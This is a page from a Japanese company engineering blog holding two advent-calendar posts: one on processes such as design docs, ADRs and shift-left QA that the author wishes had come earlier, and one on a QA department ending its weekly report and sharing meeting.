この数が多いか少ないかはソースコードの規模感にも依存するので言及しませんが、この記事では小さいリソースで取り組みを始めて、全てのAlertをハンドリングした状態に半年でたどり着いた過程について赤裸々にお話しできればと思います。

2023-12-22

もし過去に帰れるならもっと早く導入したかった開発の取り組み

この記事は🎄10X プロダクトアドベントカレンダー2023の22日目の記事です。

21日目の昨日はaineさんによる「プロダクトマネージャーになった自分が大事にしていること」でした。

こんにちは。エンジニアリングマネージャーの坂本(kazu0620)です。

この記事では10XがStailerの開発に取り入れて来た仕組みやルールの中で、「もしも過去に帰れるならこれは早い段階で取り入れたい」と私個人が特に思ったものたちを紹介したいと思います。

過去に帰ることはできませんが、我々と同じようにプロダクト開発を行っている組織の方の参考になれば幸いです。

Stailer最初期の開発と現在

Stailerの開発が始まったは2019年末のことです。私が10Xに入社しStailerの開発に関わり始めた2020年3月の時点では、ソフトウェアエンジニアの数は6名でした。当時はプロダクトマネジメントはCTOであるishkawaが担当し、まだデザイナーや品質管理に携わるメンバーはいない、という状況でした。

ここから3年半で、開発組織は成長し、今ではプロダクト開発に携わるメンバーの数は50名を超えています。これまでの過程で10Xの開発組織は、Stailerのエンドユーザーやパートナーに早く安全に価値を届けるための制約やプロセスを、数多く加えて来ました。下記は特に印象に残っているものを記載してますが、他にも多くの取り組みや試行錯誤があります。

時期	導入したもの
2021年4月	コードレビューの必須化
2021年11月	Desing Docの運用開始
2021年12月	開発チームの組成
2022年 7月	シフトレフト化によるQAプロセスの改善
2022年8月	Stailer開発ライフサイクルの策定
2022年10月	アプリケーション仕様書の確立
2023年1月	ADRの運用開始
2023年4月	ドメインベースの開発体制への移行
2023年5月	技術的意思決定会の開始
2023年7月	SLOの運用開始

ちなみに、開発初期からこれら全てを揃えて開発を進めるべきか、というと私はNoだと考えています。事業もプロダクトも不確かな状態で、初期から制約やプロセスを増やしすぎると結局事業自体が立ち上がらない、というリスクのほうが大きいと考えているからです。特にプロダクト開発の最初期はスクラップアンドビルドを繰り返す必要があり、あまりに早い段階で制約を設けすぎると、事業やプロダクトの生存可能性をかえって下げてしまうというケースもあるのではないかと思います。

プロダクトの複雑さや守るべきものを守れなかったときのリスク度合いなど、さまざまな要素に応じて徐々にプロセスや制約を追加していくべきだと思います。

ただ、それにしてもこれは早く取り入れておけばよかった、もう一度過去に戻れるなら早い段階から導入してみたい、というものもいくつか存在しています。本日はそうしたものを3つ、紹介したいと思います。

Design Docの導入

Design Docは、システム設計のデザインを記述するものです。永続的にメンテナンスするもの、というよりは、実装に入る前に設計を議論しレビューするためのツールとして10Xでは利用しています。フォーマットはデザインごとに任意ではありますが、以下のような項目を記載することが多いです。

目的
Goals
Non Goals
選択肢とPros / Cons
アーキテクチャ
テストやモニタリング、リリースのプラン

Design Docは2021年11月に導入したのでStailerの開発が始まってから2年を経て導入した、ということになります。その2年間の間にも、10Xでは重要なシステムの意思決定を数多く行なって来ました。

Design Doc導入前も設計上気にかかる部分があれば他のメンバーと相談したり、レビューを依頼したり、といったことはしていました。

しかし、やはりフローやフォーマットが正式に存在していることによる敷居の低さ、「これくらい複雑な設計ならDesign Doc書いた方が良いな」という心理が働くことから、Design Doc導入前に比べると設計に関する議論やレビューは盛んになっています。

また、設計に関する議論が実装前・リリース前に行われることにより、コードレビューで大きな手直しが入ることや、ベストではない設計でリリースしてしまったがゆえに負債となってしまう、といったようなことを防ぐことができていると感じます。

こうした恩恵を考えるとDesign Docは、任意かつフォーマットが軽量なものでもよいので、開発初期から取り入れていてもよかったな、と今振り返れば思えます。

ADRの導入

ADR（Architecture Decision Records）は、アーキテクチャや開発プラクティスに関する意思決定の内容や背景を記録し共有するためのドキュメントです。Design Docは設計を考える上での議論に使うフロー型のドキュメントであるのに対し、ADRは決定事項をメンテナンスし続けるストック型のドキュメントになります。

ADRは、以下のようなフォーマットに沿って記載します。

意思決定のコンテキスト
決定内容
影響
コンプライアンス(決定をどう遵守するかの方針)

ADRの効用として、チームにとって何が標準であるのか・なぜその標準が存在しなければいけないのかが明らかになる、というものがあります。後からチームに参画するメンバーのことを考えると、これは非常に大きな恩恵があります。

加えて私は、標準・ルールを適用したり変更するためのプロトコルが明確である、という恩恵も同じくらいあると感じています。現在の開発スタイルだったりアーキテクチャに怪しさを感じていたり危機感を持っていても、それを変更するためのプロトコルが明確でない場合、どうしても対応が後手に回るものです。

近い話で、ADR導入の少しあとで始めた「技術的意思決定会」という取り組みも似た効力を発揮しています。これは、技術的な意思決定権を持ったCTOであるishkawaがオーナーとなり、技術的な相談や意思決定を行う、という会議体です。毎週開催され、メンバーが意思決定したいこと・意思決定まではいかないけど相談したいトピックを登録しておき、関心あるメンバーとCTOが議論し、技術的な意思決定をします。

ここでの議論内容がADRとして起票される、という流れになることが最近は多いです。いきなりADRを起票しても良いのですが、事前に同期的に会話可能な場所で相談と合意を経ることができることから、技術的な意思決定に関わる敷居を下げられているのではないかと思います。

このように、決定があとから閲覧可能なものとして残っているだけでなく、アーキテクチャや技術的な方針をどこで相談しどう適用すればよいのかが明らかである、プロトコルが定まっている、というが非常に重要なことではないかと思います。

ADRを導入したのは2023年の1月なので、Stailerの開発開始から約2年と少し後ということになります。これまでの間も技術的な意思決定は10Xの中で多くなされてきましたが、もっと早くこうした仕組みがあれば、早く意思決定を行い良い変化をプロダクトにもたらすことができた可能性はあるな、と思います。これらも少なくとも開発開始から1年後くらいの段階では、軽量でも良いので取り入れていてもよかったのではないかと思います。

シフトレフト化によるQAプロセスの改善

これは、品質管理部の仲間たちが推し勧めてくれた大きな成果です。従来、Stailerの開発はで完成した仕様書をもとに品質管理チームのメンバーがテスト設計を作り、QAプロセスを実施する、という流れでした。

これを2022年7月ごろから、仕様書が確定する前に品質管理のメンバーが仕様書をレビューする、仕様書を作る前の時点から品質管理のメンバーが関わりフィードバックする、といったように徐々にシフトレフト(早期に問題発見する）という動きが進みました。

現在では品質管理チームのメンバーは開発チームの中に入って、仕様が定まる前の段階から仕様がどうあるべきかについてプロダクトマネージャーやソフトウェアエンジニア、デザイナーと一緒に議論を進めています。

これにより、リリース前のQAプロセスで発見されるバグ・あるいはリリース後に発生するインシデントの数を削減ことができました。リリースされたあとよりもリリースする前に問題を発見する方が、開発が完了したあとよりも開発が開始する前に問題を発見する方が、対応にかかるコストはずっと低くなります。

これは、先に挙げたDesing DocもADRも、ある種同じ話であるとも言えます。工程を悪戯に増やすのはプロダクトが立ち上がったばかりの状態では悪手とも思われますが、できるだけ早い工程で問題を発見し、改善するための手を打つことは、小さな組織でもスピードを上げることにつながります。

そういう意味で、これらの3つは仮に過去に戻れるならばまだプロダクトや開発組織の規模がより小さいときから導入したいな、と個人的には思えるものです。

早くやりすぎても成功しなかったかもな、と思うもの

一方で良い取り組みではあったものの、もっと早いタイミングでやったとしてもうまくいかなかっただろうな、と思うものもあるので、補足として紹介しておきます。それは、ドメインベースの開発体制への移行です。これはドメイン（業務）ごとにチームを分割するという組織設計上の試みで、2022年12月から検討を開始し2023年4月に実施しました。

振り返ればStailerというシステムが扱う業務の領域が幅広いこともあり、扱っている業務とシステムの解像度が高まり、朧げにでもどういうドメインの切り方が存在しているのかが明らかになって来たのが2022年半ばのことでした。

Stailerの開発を開始した2019年時点ではStailerの扱う業務の全体像を見通すことは非常に困難だったし、開発開始から1年が経過したタイミングでもまだプロダクトも事業も大きく変化している最中で同様、業務の全体像や業務ごとの関連を見通すのは困難な状況でした。

あまりに早い段階でこうしたチーム構造をとることや、それに応じてドメイン理解が浅い状態でチームごとにモジュール化を進めることは、おそらく混乱や手戻りを生んだだろうなと個人的には思います。

この移行の意思決定を行なった時点では、チームの認知負荷は増大しており、またコードのオーナーシップも持ちづらい状態ではあったのでギリギリとも言えますが、前述の理由から例えばこれをあまりに早くやったとしてもあまり幸せな結果にはならなかったのではないかと思います。

終わりに

ここまで読んでいただき、ありがとうございました。開発に関して必要となる制約やプロセスは、事業の状況やチーム状況に応じて変わるもので、少なければいいというものでも多ければ良いというものでもないのが難しいところだなと思います。

10Xでもこれからまた状況が変わるにつれて、無くなる制約もあれば加わる制約もあると思います。この記事を読んで、自身のプロダクトや組織にはいつどんな制約やプロセスを設けると良いかな、と思いを馳せていただければ幸いです。

2023-12-20

続けていたことをやめること、新しいことをはじめること

品質管理部がおこなっているメイン以外のタスク
この1年の間にやめる選択をしたもの
- ドヤ会
- 品管週報
残された課題とその先
- 新しいことをはじめる
おわりに

この記事は🎄10X プロダクトアドベントカレンダー2023の20日目の記事です。

19日目の昨日はogaさんによる「プロダクトチームとCSの連携のお話」でした。

こんにちは、品質管理部のtarappoです。

2023年も終わりですね。

唐突ですが、はじめたことをやめることってむずかしかったりしませんか？はじめたときには目的があったものの、気づいたら惰性で続けてたりしませんか？

1年も終わりが見えてきて「大掃除だ」「棚卸しだ」と動いてたりすると思うので、今日はそのような話にフォーカスしたいと思います。

品質管理部がおこなっているメイン以外のタスク

メインでおこなっているタスクについてフォーカスして話すのもよいのですが、文量が長くなりそうなのでメイン以外のタスクについて話していきたいと思います。品質管理部ではメインとなるタスク以外にもいろいろなことをおこなっています。

例えば、次のようなものを定期的におこなっています*1。

入社時の品管主催のオンボーディング
品管週報

これらは当然、目的があってはじめたものです。

はじめたころから時間が流れていくと、当初の狙った目的が達成できていたり、その目的を達成するにはこのアプローチは異なるといったことが起きてきます。そういった中で、現状を元に続けるべきかどうかを定期的に考えていますしメンバーからFBをもらうこともあります。

はじめたものは惰性で続けてしまいがちではありますが、これらにはメンバーの時間を一定使っています。そのまま継続することは関係する人々にとっての時間の無駄使いにもなってしまいますし、見直すことは重要です。

この1年の間にやめる選択をしたもの

この1年間の間に、品質管理部でやめたこととして次のようなものがあります。

ドヤ会
品管週報

それぞれには次のような目的がありました。

名前	内容	目的
ドヤ会	部内でメンバーのドヤ！とした出来事を共有する会	だれがなにをおこなったかをチーム間で共有（チームビルディングが目的）
品管週報	週1回、品管メンバーがおこなったことを全体に共有する報告書	品管がどういったことを行なっているか部外の人に知ってもらう（品管の認知向上が目的）

かんたんな目的は上記に記載したとおりです。もう少しそれぞれについて詳しく次に記載します。

ドヤ会

ドヤ会においては、部内のメンバーの交流の一環としておこなっていました。誰がどういったことをおこなったかというのをメンバー間で共有する場を用意することで「それいいね」と気づいてもらいやすくするというのもありました。

実際におこなっていた期間は約8ヶ月ほどになります。

それだけの期間がたつと、上述した役割の必要性がなくなったと判断し終了することとなりました。

品管週報

品管週報においては私が入社したタイミングで認知向上の目的でどういったことをおこなっているかをアナウンスするためにはじめたものです。

まだチーム*2が出来て日も浅くどういったことをしているのかというのが知られてないというのがありました。また、今みたいにチームに入って動いていたわけではなかったため何をいまおこなっているのかというのも分かりづらいというのもありました。

次のような形でNotionに毎週週報を作って全体にSlackで共有していました。

最初にやったこととして次のブログ記事にも書きました。

この品管週報は、金曜日に週1回出し続けて次のVol.80が最終号となります。

最近は次のようなコンテンツで出していました。

コンテンツの内容はたまに見直しし更新はしていましたが、80号ともなると惰性感は出てきていました。また、開発チーム体制になってからはチームに品管メンバーが必ずいるため当初の目的である認知度向上は達成できただろうということでやめることとしました。

残された課題とその先

上述したものについては、目的の多くは達成したことからやめたわけですが、全てではありません。従って、残された課題はあります。

品管週報においては「認知度向上」が目的でした。まずは品質管理部というものを知ってもらうというのがありました。

知ってもらう必要性はなぜか？というと「全員で品質を作っていく」ための第一歩とするためです。「認知」されなくてはその先の「協業」はありません。

そのため残された課題は、本来の大きな目的に対してどういったアプローチが必要かということになります。

新しいことをはじめる

上述したように残された課題はあります。従って、その課題を解決するという目的にフォーカスした新しいことを2024年からはじめる予定です。

新しいことをはじめたとしても、それが目的からずれてしまったり、達成したのであれば見直しは必要です。それを肝に命じながら2024年も、また新しいことを「恐れずに」いろいろとやっていこうと思います。

おわりに

今回は品質管理部がおこなっているメイン以外のタスクについて話しましたが、メインのタスクにおいても同様です。継続し続けることが必ずしも正しいとはかぎりません。

継続は大事ですが、いつしか惰性となってしまうこともあります。そして、はじめることよりも止めることの意思決定のほうが大変だったりします。

しかしやめることは大事です。

2023年の1年間で品質管理部もだいぶ変化しました。その中で取り組んできたことをやめたり、新しいことをはじめたりとしています。

2024年はどういったことを進めるのか、2023年度はどうだったのかについてはまた数カ月後にブログ記事にかければと思います。

*1:メインとなるタスク含め定期的におこなっているものはリスト化しており、定期的に棚卸しをしています

*2:入社当時は品質管理部ではなくQAチームという形でした